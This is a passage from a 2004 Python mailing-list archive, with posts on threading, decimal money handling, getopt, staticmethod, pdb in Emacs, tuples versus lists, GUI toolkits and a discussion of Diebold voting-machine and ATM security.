available and provide Python-implemented fallbacks for when
it isn't.

> AnyGUI wxPython is a python wrapper around a SWIG wrapper around a C++
> wrapper around a set of native toolkits.
> 
> AnyGUI TKinter is a python wrapper around a python wrapper around a
> TCL toolkit, written in C that emulates X on non-X platforms.
> 
> Doesn't this seem a bit much?

Yep, that's exactly the sort of thing I'm trying to avoid
with PyGUI!

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From __peter__ at web.de  Mon Sep 27 10:30:41 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 27 Sep 2004 16:30:41 +0200
Subject: repeat something in a thread, but stop when the program stops
References: <5db4fffa.0409270551.57a96cda@posting.google.com>
Message-ID: <cj986h$9h4$05$1@news.t-online.com>

Harald Armin Massa wrote:

> I would like to have a way to stop that thread in a automatic way.
> 
> one obvious solution would be:
> 
> import time
> from threading import Thread
> import Queue
> 
> class updater(Thread):
>     stopper=Queue.Queue()
>     def run(self):
>         self.timegone=0
>         while self.stopper.empty():
>              time.sleep(0.5)
>              self.timegone+=1
>              if self.timegone>=600:
>                  print "you waited, time passed, I will do updates"
>                  do_updates()
>                  self.timegone=0
>         print "updater stopped also"

As of 2.3 (I think) Queue.get() accepts a timeout parameter. You could
change the above to

from Queue import Queue, Empty

class updater(Thread):
    stopper = Queue()
    def run(self):
        while True:
             do_updates()
             try:
                self.stopper.get(True, 600)
             except Empty:
                pass
             else:
                break

and the sleeping thread should immediately wake up when it gets the stop
notification.

Peter



From adalke at mindspring.com  Wed Sep 22 18:45:52 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 22 Sep 2004 22:45:52 GMT
Subject: How to count lines in a text file ?
In-Reply-To: <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
	<cisei2$ltn$0$216.39.172.122@theriver.com>
	<9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net>
	<1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com>
Message-ID: <Agn4d.7348$gG4.4198@newsread1.news.pas.earthlink.net>

Alex Martelli wrote:
> ....and wc would then not count that non-line as a line, so why should
> we...?  Witness...:


   'Cause that's what Python does.  Witness:

% echo -n 'bu' | python -c \
?       'import sys; print len(sys.stdin.readlines())'
1

   ;)

				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Fri Sep 24 04:04:28 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 10:04:28 +0200
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
	<4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>
	<mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
	<1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>
	<7xk6ukw149.fsf@ruckus.brouhaha.com>
Message-ID: <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:

> aleaxit at yahoo.com (Alex Martelli) writes:
> > > A native Money type, either with the $ signal ($35.72) or the suffix
> > > (35.72D) would not present the same issues, because the literal would
> > 
> > Right, but in practice I find that:
> > 
> > def d(x): return decimal.Decimal(str(x))
> > 
> > appears to work pretty well, judging from early experimentation.
> 
> Hmm.  What does d(35.72) give you?  The same thing as d('35.72')?
> Either answer is arguably wrong.

yep, str(35.72) == '35.72'.  As I use d() only on literals, and will
carefully avoid it if I should ever enter more than six digits in such a
literal, _in practice_ (as I said) I find it works well, whether _in
theory_ it's arguably wrong or not.  Were it a built-in I'd no doubt
have different feelings, but as a handy user-coded one-liner it's fine.


Alex


From aleaxit at yahoo.com  Wed Sep 22 03:20:55 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 09:20:55 +0200
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<loom.20040921T193847-890@post.gmane.org>
	<20040921182934.GA9959@unununium.org>
	<mailman.3673.1095792247.5135.python-list@python.org>
Message-ID: <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> (2) "is there a good use case for wanting to make a mapping with keys that
> have incompatible types?" (my question to you)
> 
> To some degree, (1) has already been answered to my satisfaction by Carlos
> Ribeiro's spreadsheet example.  If you could give me a real world example of
> when you'd want to do (2), I might be more convinced...

Does my example of 'tuples as concrete representations of expressions'
which I posted to another subthread of this thread help?  Say several
such expressions are coming in to be evaluated over the same context
(assignment of values to free variables), I want to memoize the
expressions that I have already computed this time (to avoid recomputing
in a situation where the same expression or subexpression is likely to
recur ofter) and the natural way to do it is:
    if expr in known_expr: return known_expr[expr]
    value = known_expr[expr] = do_compute(expr)
    return value

In this case a dict would do just as well as a BTree, but it's easy to
think of a slight variant where expressions would not easily be made
hashable, but might still easily use some arbitrary comparison.


Alex
 


From aleaxit at yahoo.com  Fri Sep 17 03:14:11 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 17 Sep 2004 09:14:11 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com>
	<1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<m37jqvvypt.fsf@g2ctech.com>
	<1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com>
	<m3ekl1398l.fsf@g2ctech.com>
Message-ID: <1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com>

Jorge Godoy <godoy at ieee.org> wrote:
   ...
> >> I remember iBooks starting at something like US$ 2100.00...  That's more
> >> than half of the Dell :-)
> >
> > iBooks start at about HALF what you remember.
> 
> Not here.  :-)  As I said, I wish we had the prices you do in Europe and
> in the US. 

They're higher here (at today's exchange rates, 1467 vs 1099 for an
entry-level iBook).  My solution, as I mentioned, is buying in the US.
Apple of course tries to stop any attempt to go around their market
segmentation, but for portable products that's not easy for them.

> > Why Apple chooses to price stuff cheap in richer countries, US foremost,
> > and dearer the poorer the country, I dunno.
> 
> I think their logistics cost is lower in the US than in the rest of the
> world.  Their market is bigger there too. 

Convenient excuses for Apple's market-fragmentation strategy,
unfortunately (for them) easily shown as such.  All iBooks are shipped
from Taiwan, for example -- getting them to US, Brazil or the
Netherlands is basically the same.  The quarrel 'du jour' against Apple,
to give another example, is about the fact that iTunes song downloads
cost 20% more in the UK than Germany or France, and the latter two
countries won't even let you buy unless you can give a French/German
address and credit card (in Italy you can't buy from any of these
stores... unless you're lucky enough to have an address and credit card
in the appropriate country...).  This is arguably against Europe's
single-market laws, and since we're talking about downloads over the net
the "logistics" argument is laid bare for the feeble excuse it is.
Indeed Apple's response that I've seen is not about trying to argue that
it costs more to push bits to London than to Paris, but rather that
iTunes song prices should be compared, not with the prices of the same
song in different countries, but rather with the prices of other songs
from competitors in the same country.  In other words, Apple is charging
all the market will bear, segmenting markets ruthlessly to do so, even
when they have to break laws in order to scrounge extra profits that
way.  I think it's quite a myopic attitude, eroding any goodwill from
people who LIKE their products and turning it into rage and loathing.

If and when the costs of delivery are higher it's quite reasonable to
charge "X+postage and handling" for a fixed X.  For example, delivering
to an address just next door to an AppleStore may well be cheaper than
delivering to some rural address in the heartlands.  But does Apple
charge the rural customers more?  No way -- _in the US_ they're quite
careful to avoid the horrid PR that would result from THAT.  Elsewhere,
apparently, they don't really care -- if Apple believes that Britons can
be gouged for 20% more than Frenchmen, they pounce on it.  I find that
sad when I'm not foaming at the mouth against it;-).


> I do with the free / not free (free beer) stuff now.  If the software I
> write is free (free speech and possibly free beer), I don't mind that
> much in making it GPL or BSDL or anothr free license (I personally like
> the GPL idea, so this is the one I use).

You like it and use it when you write software yourself, yet you
expressed the desire that Qt didn't, so you could use it when you write
software that's not free.  "Do unto others as you would have others do
unto you" seems a fundamental, reasonable principle of fairness: aren't
you violating it here, by using a license you wish others didn't use?


Alex


From blackwhite at gmail.com  Thu Sep  2 23:08:56 2004
From: blackwhite at gmail.com (blackwhite)
Date: 2 Sep 2004 20:08:56 -0700
Subject: How python parse the value to var
Message-ID: <b38aacfb.0409021908.bb70e71@posting.google.com>

[Code as follows:]

args_list, names = getopt.getopt( sys.argv[1:] , "n:j:h") 
args = {}
for (a, v) in args_list:
        args[a] = v

>>>The question is:
If  i use cmd line as
xxx.exe -n A -j B 123.txt 456.jpg
The output will be
args_list will be[('-n','A'),('-j','B')]
names     will be['123.txt','456.jpg']

>>>>>>>>How python parse the value to them(args_list&names)


From fumanchu at amor.org  Wed Sep 22 16:55:44 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 22 Sep 2004 13:55:44 -0700
Subject: calling class methods without instance
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EFC@exchange.hqamor.amorhq.net>

Josh Close wrote:
> Is there a way to call a class method without an instance of 
> that class?
> 
> class myClass:
>   def printSomething(message):
>     print message
> 
> myClass.print()
> 
> That's basically what I want to do. Is there a way to do that without
> having to do
> 
> c = myClass()
> c.print()
> 
> I've tried using
> 
> class myClass:
>   def printSomething(message):
>     print message
>   printSomething = staticmethod(printSomething)
> 
> but that didn't seem to work either. I'm probably just missing
> something really simple here.

Not sure what you're missing, unless you're not posting a complete
example. This works:

>>> class myClass:
... 	def p(msg):
... 		print msg
... 	p = staticmethod(p)
... 	
>>> myClass.p("hey")
hey


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From mrsilva at fastmail.fm  Thu Sep 23 12:15:10 2004
From: mrsilva at fastmail.fm (Marcio Rosa da Silva)
Date: Thu, 23 Sep 2004 18:15:10 +0200
Subject: Emacs + python
In-Reply-To: <87hdprv3qd.fsf_-_@ion.xlipstream.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>	<278de0e.0409201131.57baf7f9@posting.google.com>	<414f61bf$0$29449$636a15ce@news.free.fr>	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
	<87hdprv3qd.fsf_-_@ion.xlipstream.com>
Message-ID: <ciusmv$2a3$1@rzcomm2.rz.tu-bs.de>

Chris Green wrote:
> The trick that I like most about emacs+python right now is inserting
> import pdb; pdb.set_trace() and then running the python script from a
> *shell* buffer. It just happens to load the exact same code that would
> occur from running pdb.py directly so code lines can be synced up.

I am trying for a long time a way to run pdb from emacs and have the 
code synchronized.

I searched google for emacs+python+debug or emacs+pdb but the 
instructions would say: "M-x pdb" but then emacs asked the command line 
to run the debug and I tried "pdb" "pydb" "pydb filename" but nothing 
worked.

When I tryed "M-x pdb" then "pydb" I need to use "file <filename>" (and 
the completion doesn't work here for the filename), then the debugger 
worked, but no sync with the source code :-(

 From the help of GUD, I tried "M-x pdb <RET> FILE <RET>" also without 
success.

Anyone can help me with this? I really don't know how to make it work. I 
have seen in the python-emacs-mode that there are some code to 
synchronize the code, but I could not make it work in this way (I don't 
know enough elisp) :-(

But anyway, thanks Chris for the tip. This one worked for me :-) It is 
possible to set breakpoints using the source buffer instead of using the 
line number?

Marcio


From zanesdad at bellsouth.net  Wed Sep  1 21:10:16 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 01 Sep 2004 21:10:16 -0400
Subject: List and tuple usage distinction??
In-Reply-To: <938a4680.0409011617.e9f9ee2@posting.google.com>
References: <938a4680.0409011617.e9f9ee2@posting.google.com>
Message-ID: <413672F8.30002@bellsouth.net>

Ishwar Rattan wrote:

>I am a little confused about a list and a tuple.
>
>Both can have dissimilar data-type elements, can be returned
>by functions. The only difference that I see is that list is
>mutable and tuple is not (of course list have .append() etc.)
>
>What is a possible scenario where one is preferred over the other?
>
>-ishwar
>  
>
Lots of reasons ;-)

1.  Maybe you want to create a dict and key off of a list of items.  I 
haven't had to do that, but it's feasible.  Take a peek at this:

 >>> f = ('a', 'b', 'c')
 >>> g = list(f)
 >>> f
('a', 'b', 'c')
 >>> g
['a', 'b', 'c']
 >>> h = {}
 >>> h[f] = 1
 >>> h[g] = 1
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: list objects are unhashable
 >>> h
{('a', 'b', 'c'): 1}

You can key off of a tuple (the tuple "f") and you can't off of a plain 
old list ("g").

2.  You don't need the list of items to change or similarly
3.  You want to make it more difficult for a list of items to change.  
You can still fairly easily change a tuple - sort of:
 >>> f = list(f)
 >>> f.append('d')
 >>> f = tuple(f)
 >>> f
('a', 'b', 'c', 'd')
 >>>
What you've actually done is change the tuple object that "f" is 
pointing to.

Someone else can answer better about memory usage, but I would think 
that a tuple would cost less memory than a comparably sized list, so 
that also may be a consideration.

Jeremy



From exarkun at divmod.com  Sat Sep  4 13:59:02 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Sat, 04 Sep 2004 13:59:02 -0400
Subject: list conversion question
In-Reply-To: <ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>
References: <mailman.2860.1094267481.5135.python-list@python.org>	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
	<ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>
Message-ID: <413A0266.2090809@divmod.com>

Andrew Dalke wrote:
> Paul McGuire wrote:
> 
>> Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how
>> about:
>>
>> hist = [ 0, 1, 0, 5, 43 ]
>> values = [ i for i in enumerate(hist)]
>> values.sort(lambda a,b: cmp(b[1],a[1]))
>> indexes = [ a for a,b in values ]
> 
> 
> or tweaked a bit for speed (a sort with a lambda is expensive)
> and for clarity, IMO,
> 
> pairs = [(value, offset) for (offset, value) in enumerate(hist)]
> pairs.sort()
> indexes = [offset for (value, offset) in pairs]
> 
> In Python2.4 this is allowed
> 
>  >>> hist = [ 0, 1, 0, 5, 43 ]
>  >>> [pair[0] for pair in sorted(enumerate(hist),
> ...                             key=lambda pair: pair[1])]
> [0, 2, 1, 3, 4]
>  >>>

   Even faster, though perhaps not as clear:

     >>> import operator
     >>> hist = [ 0, 1, 0, 5, 43 ]
     >>> map(operator.itemgetter(0), sorted(enumerate(hist),
     ...                             key=operator.itemgetter(1)))
     [0, 2, 1, 3, 4]

   Jp


From alanmk at hotmail.com  Tue Sep 14 08:02:05 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Tue, 14 Sep 2004 13:02:05 +0100
Subject: Electronic voting feasibility
In-Reply-To: <Xns95643A12D5B1BJanC@213.118.38.197>
References: <mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
	<8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
	<K9ydnRpo-6dZVdzcRVn-vw@powergate.ca>
	<JtmdnS-gR__-U9zcRVn-iQ@giganews.com>
	<_4KdnfDylt2TSdzcRVn-pg@powergate.ca>
	<Xns95643A12D5B1BJanC@213.118.38.197>
Message-ID: <W%A1d.27558$Z14.9489@news.indigo.ie>

[Istvan Albert]
>>>Looking at what they claim, that in 2003 they discovered a back door
>>>affecting every evoting machine, a backdoor that requires
>>>a 2 digit code to overwrite the votes stored in the system,
>>>moreover even a year later every system has this same flaw...
>>>
>>>I don't find this credible, ...

[Peter Hansen]
>>Maybe, but I've found other articles that said that the Diebold
>>machines *all* had a hardcoded password of "1111" at one point...
>>not a stretch to think they also had a simplistic backdoor like that.
>>
>>The president of the company says they "are not incompetent", so
>>we might as well believe him, though, and not Bev Harris. ;-)

[JanC]
> They are very competent security gurus:
> <http://www.theregister.co.uk/2003/11/25/nachi_worm_infected_diebold_atms/>

Hmm, I read the content of that link, and I can't see anything that 
would reassure me that Diebold are/employ competent security people.

Quite the opposite in fact:

"""
At both affected institutions the ATMs began aggressively scanning for 
other vulnerable machines, generating anomalous waves of network traffic 
that tripped the banks' intrusion detection systems, resulting in the 
infected machines being automatically cut off, Diebold executives said.

"The outbound traffic from the ATM was stopped -- limited, from a 
network standpoint -- and effectively isolated,"
"""

 From the way I read it, the Diebold systems were completely helpless in 
the face of the attack. It was the owning bank's IDS that spotted the 
problem and cut the Diebold ATMs off from the network. If the banks IDS 
hadn't taken that action, perhaps there might have been more serious 
implications for the banks?

If I were in Diebold's position, I would feel extremely embarrassed that 
my dedicated hardware "began aggressively scanning for other vulnerable 
machines, generating anomalous waves of network traffic" and "the 
infected machines being automatically cut off" by someone else's 
actions, not mine.

And their performance in keeping watch on vulnerabilities doesn't 
inspire confidence: "A patch for the critical RPC DCOM hole had been 
available from Microsoft for over a month at the time of the attack, but 
Diebold had neglected to install it in the infected machines."

Interesting that Diebold are now installing firewalls in their ATMs. It 
seems to me that any "security guru" with a basic clue about network 
security would have been doing that since the first day the ATMachines 
were connected to a network.

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From M.Waack at gmx.de  Tue Sep 28 16:04:48 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Tue, 28 Sep 2004 22:04:48 +0200
Subject: re-entering in the normal flow after an exception is raised
References: <4edc17eb.0409280817.27ef4f43@posting.google.com>
	<1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com>
Message-ID: <0oso22-9k7.ln1@valpo.de>

Alex Martelli wrote:
> If something is too complicated for C++, I would assume it's WAY
> too
> complicated for Python.  

It's too complicated for C++ to handle lists containing arbitrary
types, declaring functions working on arbitrary types, creating
classes at runtime...

SCNR
        Mathias


From pbouige at electre.pasteur.fr  Wed Sep 15 07:50:06 2004
From: pbouige at electre.pasteur.fr (Philippe  Bouige)
Date: Wed, 15 Sep 2004 11:50:06 +0000 (UTC)
Subject: python task manager
References: <106645cc.0409150056.708bba7a@posting.google.com>
Message-ID: <slrn4ckgb3e.33j4.pbouige@electre.pasteur.fr>


You have also this :

http://www.kalab.com/freeware/pycron/pycron.htm



In article <106645cc.0409150056.708bba7a at posting.google.com>, jack wrote:
>Hi,
>
>I am  looking for a task manager written in python that is powerfull
>and simple enough to schedule a lot of different tests on an every day
>or many time a day basis.
>
>-----------------------
>python scheduler module
>------------------------
>
>Python build in scheduler works but afaik you send action to be done
>in N minutes.
>I would prefer to input information like "do it at 15h00 every day".
>Plus if two task are to be runned at the same time, I am not sure of
>how it would react.
>
>-------
>WebWare
>-------
>
>Webware taskkit looks at first glance the good solution.
>
>------------
>Os scheduler
>------------
>
>Then of course, I could use the Os scheduler (windows or linux), but
>it may be more difficult to react in case of problem.
>
>**********
>QUESTION ?
>**********
>Is there other python options than these 3 ?
>
>Thanks in advance.
>
>Jack.


From fuzzyman at gmail.com  Thu Sep  2 07:21:44 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 2 Sep 2004 04:21:44 -0700
Subject: compiling to python byte codes
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
Message-ID: <6f402501.0409020321.44fd443@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<4136bbf3$0$197$9b622d9e at news.freenet.de>...
> Maurice LING wrote:
> > I remembered reading a MSc thesis about compiling Perl to Java bytecodes 
> > (as in java class files).
> 
> You don't have to look that far. Jython compiles Python code into Java
> bytecode; IronPython compiles Python code into Microsoft intermediate
> language.
> 
> > I'm wondering if 
> > something of such had been attempted in python, as in compiling X 
> > language into .pyc. 
> 
> The easiest way to create a .pyc file is to create a Python file,
> and then compile that. There are various tools that compile X to
> .pyc. For example, Fnorb compiles OMG IDL into .pyc files.
> 
> > I do not understand the schematics of .pyc files but 
> > I assume that they are the so called python bytecode files.
> 
> That's correct.
> 
> > Or is there any documentation or books that is the python equivalent of 
> > "Programming for the Java Virtual Machine" by Joshua Engel?
> 
> There is the dis module and its documentation. However, as I said, in
> Python, you don't really *need* to create .pyc files directly, as
> the Python compiler is always available through the compile() builtin
> function. This is unlike Java or .NET, where the compiler is not
> available in the JRE, or the .NET commercial framework.
> 
> Regards,
> Martin


But that still doesn't answer the OPs question which is about writing
code in another language to generate python bytecode....

Which is interesting.. but not that interesting I suppose.
Is python bytecode *that* different to Java bytecode (not in detail
but in concept ?). There's no reason why another compiler couldn't
emit python bytecode to run on the 'python virtual machine' ? (plenty
of reasons not to do it I suppose just no reasons why it shouldn't be
possible).

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From beliavsky at aol.com  Thu Sep  9 12:12:02 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 9 Sep 2004 09:12:02 -0700
Subject: declare a constant in Python?
Message-ID: <3064b51d.0409090812.46ee0477@posting.google.com>

I wish one could declare a constant in Python, analogous to 'const int
i=1;' in C++. Is there a way to get this effect?


From rattan at cps.cmich.edu  Mon Sep 13 17:05:42 2004
From: rattan at cps.cmich.edu (Ishwar Rattan)
Date: 13 Sep 2004 14:05:42 -0700
Subject: os.fork() question?
Message-ID: <938a4680.0409131305.2516b461@posting.google.com>

Info at http://doc.python.org/ on os.fork() says that
  it has 'unix' semantics (on a UNIX box) on return values
  child pid in parent, 0 in child, no mention of failure?

So, what does it return on failure? I tried it under Linux
with Python-2.3.4, after few thousand forks the system just hangs!
(does not return/report fork failure)

Another question on module 'mutex' (stumbuled on it while looking
for info on threads). What is its purpose? (sample code for usage
of lock() and unlock() will be nice too).

-ishwar


From rst at _nospam_.drlug.org._nospam_  Mon Sep  6 11:37:30 2004
From: rst at _nospam_.drlug.org._nospam_ (Rune Strand)
Date: Mon, 06 Sep 2004 17:37:30 +0200
Subject: Fastest way to loop through each digit in a number?
References: <22voj0p4mr0i1gis8tjn6ob23bup23c48s@4ax.com>
Message-ID: <9f0pj0pkrple3o1d97vt5fe45pjbr60i96@4ax.com>

;-) Somtimes the solition is too obvious...  faster than using ord()
is to look up the value in a map:

dictmap = {
    '0' : 0,
    '1' : 1,
    '2' : 2,
    '3' : 3,
    '4' : 4,
    '5' : 5,
    '6' : 6,
    '7' : 7,
    '8' : 8,
    '9' : 9
    }

def each_dig_in_num(n):
    dm = dictmap   #faster if local
    s = repr(n)          #repr is faster than str
    for char in s:
        foo(dm[char])



From claird at lairds.us  Thu Sep 23 16:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 23 Sep 2004 20:08:05 GMT
Subject: incrementing a time tuple by one day
References: <mailman.3798.1095959172.5135.python-list@python.org>
	<QcudnRWf360rm87cRVn-vg@powergate.ca>
	<donn-B27766.12063123092004@gnus01.u.washington.edu>
Message-ID: <umkb22-im2.ln1@lairds.us>

In article <donn-B27766.12063123092004 at gnus01.u.washington.edu>,
Donn Cave  <donn at u.washington.edu> wrote:
>In article <QcudnRWf360rm87cRVn-vg at powergate.ca>,
> Peter Hansen <peter at engcorp.com> wrote:
>> David Stockwell wrote:
			.
			.
			.
>Well, who knows, maybe datetime is the answer for him,
>but if not, I would just use 24*60*60 instead of trying
>to get one day in seconds out of mktime().  (I think if
>you look at the date closer, it isn't decremented all!)
>
>   Donn Cave, donn at u.washington.edu

While I quickly lost track of who said what, I've been around
long enough to know that some people are touchy about there
NOT being 24 * 60 * 60 seconds in a day near "daylight-savings"
switches.  I have no idea whether that's the case for Mr.
Stockwell.


From carribeiro at gmail.com  Thu Sep 23 07:52:44 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 08:52:44 -0300
Subject: up with PyGUI!
In-Reply-To: <2rfnp6F19gkpkU1@uni-berlin.de>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
Message-ID: <864d3709040923045236e2a2ea@mail.gmail.com>

On Thu, 23 Sep 2004 14:44:52 +0400, anton muhin <antonmuhin at rambler.ru> wrote:
> I beg your pardon for possibly stupid comment---I haven't practice GUI
> programming for a long time, especially in Python. However I mostly
> prefer declarative approach for the problems like that. Therefore,
> wouldn't it be interesting to describe the structure with class and
> metaclass mechanism, like:
> 
> class MainFrame(FrameDescription):
> 
>    class b1(ButtonDescription):
>      size = (40, 40)
>      text = "b1"
> 
> etc.

Thats *exaclty* what I'm doing, after spending a long time evaluating
a lot of GUI packages, Wax included. Not that I didn't like Wax -- I
think the design is very good, and I would put it in the same class as
Greg Ewing's PyGUI, with the advantage that Wax runs in Windows. But I
miss the ability to write a declaration like you've done.

I have tested a metaclass engine yesterday that does something like
you wrote. In my particular case, I'm going to work with automatic
layout generation, so I'm not providing absolute positioning
parameters. But the mechanism is about the same. Here are two
declarations from my test script:

class UserForm(Form):
    nickname = TextBox(length=15, default="")
    password = TextBox(length=10, default="", password=True)
    name     = TextBox(length=40, default="")

class ComplexForm(Form):
    class Header(Form):
        nickname = TextBox(length=15, default="")
        password = TextBox(length=10, default="", password=True)
        name     = TextBox(length=40, default="")
    class Comment(Form):
        comments = TextBox(length=200, default="", multiline=True)

It already accepts nested classes and some special attributes. There
are a few catches involving hacks to detect the original order of the
attributes in the class declaration. That's going to make a
difference, because one would implicitly assume that the tab order of
the data entry elements is the same as the declaration order. Solved
that, I'm working today on the code generation engine that will
generate the UI from the class declaration. I'll post a note here as
soon as I have something working.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From stimpy1997uk at yahoo.com  Fri Sep  3 13:10:57 2004
From: stimpy1997uk at yahoo.com (Stimpy)
Date: Fri, 3 Sep 2004 18:10:57 +0100
Subject: Xah Lee's Unixism
References: <slrncjf0iv.7vj.a.krey@inner.h.uberluser.org>
	<10jfmu8d0bt4n8b@corp.supernews.com>
Message-ID: <2prn7jFonemvU1@uni-berlin.de>

SM Ryan wrote:
>
> Not really. It was known to be a problem from the first Multi-Finder.

The Faulty-Minder :-)




From ksenia at ksenia.nl  Sat Sep  4 08:00:09 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Sat, 4 Sep 2004 15:00:09 +0300
Subject: How to actually write a program?
In-Reply-To: <chano0$1gv$1@sparta.btinternet.com>
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <F8647AF4-FE69-11D8-8653-000A957911BC@ksenia.nl>

> Any ideas about this problem :-)

I dont' know if this is a 'right' approach, but if the program has user 
interface, it helps also first to create this user interface. That way 
you'll be able to visualize what information your program needs to get 
and to send back. It can be easier then to define classes and 
methods...

Ksenia.




From http  Wed Sep 22 03:34:27 2004
From: http (Paul Rubin)
Date: 22 Sep 2004 00:34:27 -0700
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<41512635$0$94916$5a6aecb4@news.aaisp.net.uk>
Message-ID: <7xr7oulpto.fsf@ruckus.brouhaha.com>

"John Burton" <john.burton at jbmail.com> writes:
> Yes you could probably "fix" the rounding to make it work in
> practice but the problems is that it is simply not possible to
> represent the value 1.13 in a floating point variable exactly and
> when dealing with money you want to represent it exacctly,
> particularly as it's so easy to do.

The Decimal Floating Point pages that Tim linked to are really fantastic.
I remember going to a talk by some of the MIPS CPU designers a long time
ago, and they explained they left decimal arithmetic out of their RISC
design because they'd instrumented a bunch of Cobol programs and found
that arithmetic simply wasn't where financial applications spent their
computation time.  However, the DFP site shows some pretty interesting
benchmarks.



From aleaxit at yahoo.com  Thu Sep 16 09:32:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 15:32:35 +0200
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com>
	<Zmg2d.5818$Xc.5455@lakeread01>
Message-ID: <1gk7pgm.vgopct1j6etshN%aleaxit@yahoo.com>

Steve Holden <sholden at holdenweb.com> wrote:
   ...
> Don't forget to take your blood-pressure medication :-)
> 
> just-heard-the-kettle-boiling-ly y'rs  - steve

Heh -- thanks Steve, but you misinterpreted, that was just Anna making
tea;-).  I'm just going to take some Maalox... the pressure is fine!-)


Alex


From daniel at syrinx.net  Tue Sep  7 09:33:20 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Tue, 07 Sep 2004 09:33:20 -0400
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
In-Reply-To: <vvudnXvWYobKKaDcRVn-vg@powergate.ca>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com>
	<vvudnXvWYobKKaDcRVn-vg@powergate.ca>
Message-ID: <2q5rglFrq42gU1@uni-berlin.de>

Peter Hansen wrote:
> Roger Binns wrote:
> 
>>   http://maurizio.giampy.it/apg/
>>
>> It was how I came up with Entrocul and BitPim :-)
> 
> 
> Since most of the ones it generates are useless for this
